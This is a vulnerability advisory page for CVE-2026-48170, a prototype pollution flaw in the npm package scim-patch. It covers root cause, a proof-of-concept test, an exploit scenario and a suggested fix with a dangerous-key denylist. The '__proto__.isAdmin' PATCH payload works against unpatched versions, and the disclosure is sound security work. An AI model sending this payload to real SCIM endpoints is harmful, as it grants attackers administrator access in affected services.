Skip to main content

scim-patch CVE-2026-48170

CRITICAL
Improperly Controlled Modification of Object Prototype Attributes (Prototype Pollution) (CWE-1321)
2026-06-22 https://github.com/thomaspoignant/scim-patch GHSA-9m6g-wc8r-q59c
9.1
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
9.1 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L
vuln.today AI
9.1 CRITICAL

Network-reachable SCIM PATCH (AV:N/AC:L), requires a provisioning token (PR:L), no user interaction; library bug mutates whole Node process (S:C) with high integrity and partial confidentiality/availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
Low

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 22, 2026 - 23:15 vuln.today
Analysis Generated
Jun 22, 2026 - 23:15 vuln.today

DescriptionGitHub Advisory

Summary

scim-patch performs prototype pollution when applying a SCIM PATCH operation whose value object contains a key like "__proto__.someProp". After one such patch, Object.prototype.someProp is set process-wide, affecting every plain object in the Node process.

Any service that calls scimPatch() on attacker-controlled JSON (i.e. any SCIM endpoint accepting PATCH from an external IdP) is exploitable on a stock Node runtime.

Impact

  • Class: Prototype pollution (CWE-1321)
  • Affected versions: <= 0.9.0 (current HEAD 871b1e2)
  • Attack vector: Network - sent as part of a normal SCIM PATCH /Users/:id request body.
  • Privileges required: Whatever the SCIM endpoint requires. For most integrations that's a provisioned IdP, which is "low" in CVSS terms (any authenticated provisioning client).
  • Scope: Changed - the bug is in a SCIM library but the side effect (Object.prototype mutation) leaks into the entire Node process.

Downstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs:

  • Privilege escalation if any auth/middleware code checks actor.isAdmin / req.user.admin / similar boolean flags against a plain object that *expects* the key to be absent.
  • Logic bypass / DoS if any code branches on obj.name, obj.type, obj.id etc. against plain objects (e.g. pg's prepared-statement naming check - a real incident at one consumer).
  • Persistence: lasts until the Node process restarts, so the blast radius is *every* request that container handles after the pollution.

Root cause

In src/scimPatch.ts:415-427, addOrReplaceObjectAttribute iterates the user-supplied patch.value with Object.entries and feeds each key to resolvePaths, which splits on .:

ts
function addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any {
    if (typeof patch.value !== 'object') { ... }

    // src/scimPatch.ts:423-427
    for (const [key, value] of Object.entries(patch.value)) {
        assign(property, resolvePaths(key), value, patch.op);
    }
    return property;
}

assign then walks the resulting key path with no filtering on dangerous keys (src/scimPatch.ts:437-445):

ts
function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
    const lastKeyIndex = keyPath.length - 1;
    for (let i = 0; i < lastKeyIndex; ++i) {
        const key = keyPath[i];
        if (!(key in obj)) {
            obj[key] = {};
        }
        obj = obj[key];   // ← obj["__proto__"] === Object.prototype
    }
    // ... assigns into Object.prototype
}

For keyPath = ["__proto__", "polluted"]:

  • "__proto__" in obj is always true, so the fresh-object branch is skipped.
  • obj = obj["__proto__"] now points to Object.prototype.
  • The final write lands on Object.prototype.polluted.

The same shape works for constructor.prototype keys.

Proof of concept

Drop this in test/prototypePollution.test.ts and run npm run build && npx mocha lib/test/prototypePollution.test.js. Both tests pass against HEAD 871b1e2:

ts
import { scimPatch } from '../src/scimPatch';
import { ScimUser } from './types/types.test';
import { expect } from 'chai';

describe('Prototype pollution via scim-patch', () => {
    let scimUser: ScimUser;

    beforeEach(() => {
        scimUser = JSON.parse(`{
          "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
          "id": "tea_4",
          "userName": "spiderman",
          "name": { "familyName": "Parker", "givenName": "Peter" },
          "active": true,
          "emails": [{ "value": "spiderman@superheroes.com", "primary": true }],
          "roles": [],
          "meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" }
        }`);
    });

    afterEach(() => {
        delete (Object.prototype as any).polluted;
        delete (Object.prototype as any).isAdmin;
    });

    it('pollutes Object.prototype via a value-key containing __proto__', () => {
        expect(({} as any).polluted).to.equal(undefined);

        scimPatch(scimUser, [{
            op: 'add',
            path: 'name',
            value: { '__proto__.polluted': 'yes' }
        }]);

        expect((Object.prototype as any).polluted).to.equal('yes');
        expect(({} as any).polluted).to.equal('yes');
    });

    it('elevates Object.prototype.isAdmin - the admin-escalation shape', () => {
        expect(({} as any).isAdmin).to.equal(undefined);

        scimPatch(scimUser, [{
            op: 'add',
            path: 'name',
            value: { '__proto__.isAdmin': true }
        }]);

        expect((Object.prototype as any).isAdmin).to.equal(true);
        expect(({} as any).isAdmin).to.equal(true);
    });
});

Suggested fix

Reject the three dangerous keys in assign() before the walk. Minimal patch:

ts
const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
    for (const key of keyPath) {
        if (DANGEROUS_KEYS.has(key)) {
            throw new InvalidScimPatchOp(`Forbidden key in patch path: ${key}`);
        }
    }
    // ... existing logic
}

Alternative, slightly safer: switch the walk target to Object.create(null) nodes when creating intermediate objects, and use Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true }) instead of obj[key] = value for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist.

Either approach is a non-breaking change - legitimate SCIM clients never send these keys.

Mitigation for consumers who can't upgrade immediately

Calling Object.freeze(Object.prototype) (and the same on Array.prototype, Function.prototype) at process startup neutralizes this class of bug - assignment to a frozen prototype becomes a silent no-op in sloppy mode or a TypeError in strict mode. Node's --frozen-intrinsics flag does this for built-ins automatically.

Credit

Discovered by Lee Wang (Notion). Reported by David Wu (Notion).

Report authored by Claude. Reviewed by David Wu.

AnalysisAI

Prototype pollution in the npm package scim-patch (versions <= 0.9.0) allows authenticated SCIM provisioning clients to mutate Object.prototype process-wide by submitting a PATCH operation whose value object contains a key such as __proto__.someProp or constructor.prototype.someProp. Because the side effect persists for the lifetime of the Node process and leaks into every plain object, downstream code that checks flags like req.user.isAdmin against unpolluted plain objects can suffer privilege escalation, logic bypass, or denial of service. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain SCIM provisioning credentials
Delivery
Send PATCH /Users/:id with __proto__ key in value
Exploit
scim-patch walks key onto Object.prototype
Execution
Object.prototype.isAdmin set process-wide
Persist
Subsequent request authorizes as admin
Impact
Privilege escalation or auth bypass

Vulnerability AssessmentAI

Exploitation The target application must (a) embed the npm package scim-patch at version <= 0.9.0 and (b) call `scimPatch()` on a `value` (or `path`) supplied by the request body, which is the normal usage pattern for any SCIM 2.0 PATCH endpoint such as `/Users/:id` or `/Groups/:id`. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The NVD CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L (9.1, Critical) accurately captures that exploitation is a single network PATCH from any provisioning client, with scope change reflecting the fact that the library bug mutates the entire Node process. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A compromised or malicious identity provider (or any tenant with provisioning credentials) sends `PATCH /Users/some-id` with body `[{"op":"add","path":"name","value":{"__proto__.isAdmin":true}}]`; scim-patch walks the dotted key, lands on `Object.prototype`, and sets `isAdmin=true` for every plain object in the Node process. Subsequent unrelated requests that authorize on `req.user.isAdmin` (or branch on similarly absent properties) then succeed as administrators until the container restarts. …
Remediation Vendor-released patch: upgrade scim-patch to 0.9.1 or later, which adds a denylist of `__proto__`, `constructor`, and `prototype` segments in `resolvePaths`/`assign` and throws `InvalidScimPatchOp` when they appear (commit https://github.com/thomaspoignant/scim-patch/commit/260f9cd2ac5ceac3976978850bb47dcb391720f6, advisory https://github.com/thomaspoignant/scim-patch/security/advisories/GHSA-9m6g-wc8r-q59c). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Identify all applications and services using scim-patch version 0.9.0 or earlier. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2026-34621 HIGH POC
8.6 Apr 11

Prototype pollution in Adobe Acrobat Reader versions 24.001.30356, 26.001.21367 and earlier enables arbitrary code execu

CVE-2024-56059 CRITICAL
9.8 Dec 18

Prototype pollution in the farinspace Partners WordPress plugin (versions up to and including 0.2.0) enables remote unau

CVE-2020-28271 CRITICAL POC
9.8 Nov 12

Prototype pollution vulnerability in 'deephas' versions 1.0.0 through 1.0.5 allows attacker to cause a denial of service

CVE-2023-38894 CRITICAL POC
9.8 Aug 16

A Prototype Pollution issue in Cronvel Tree-kit v.0.7.4 and before allows a remote attacker to execute arbitrary code vi

CVE-2024-24292 CRITICAL POC
9.8 Mar 28

A Prototype Pollution issue in Aliconnect /sdk v.0.0.6 allows an attacker to execute arbitrary code via the aim function

CVE-2023-26121 CRITICAL POC
10.0 Apr 11

All versions of the package safe-eval are vulnerable to Prototype Pollution via the safeEval function, due to improper s

CVE-2021-23449 CRITICAL POC
10.0 Oct 18

This affects the package vm2 before 3.9.4 via a Prototype Pollution attack vector, which can lead to execution of arbitr

CVE-2024-39011 CRITICAL POC
9.8 Jul 30

Prototype Pollution in chargeover redoc v2.0.9-rc.69 allows attackers to execute arbitrary code or cause a Denial of Ser

CVE-2024-38988 CRITICAL POC
9.8 Mar 28

alizeait unflatto <= 1.0.2 was discovered to contain a prototype pollution via the method exports.unflatto at /dist/inde

CVE-2025-57347 CRITICAL POC
9.8 Sep 24

A vulnerability exists in the 'dagre-d3-es' Node.js package version 7.0.9, specifically within the 'bk' module's addConf

CVE-2025-57321 CRITICAL POC
9.8 Sep 24

A Prototype Pollution vulnerability in the util-deps.addFileDepend function of magix-combine-ex versions thru 1.2.10 all

CVE-2024-45435 CRITICAL POC
9.8 Aug 29

Chartist 1.x through 1.3.0 allows Prototype Pollution via the extend function. Rated critical severity (CVSS 9.8), this

Share

CVE-2026-48170 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy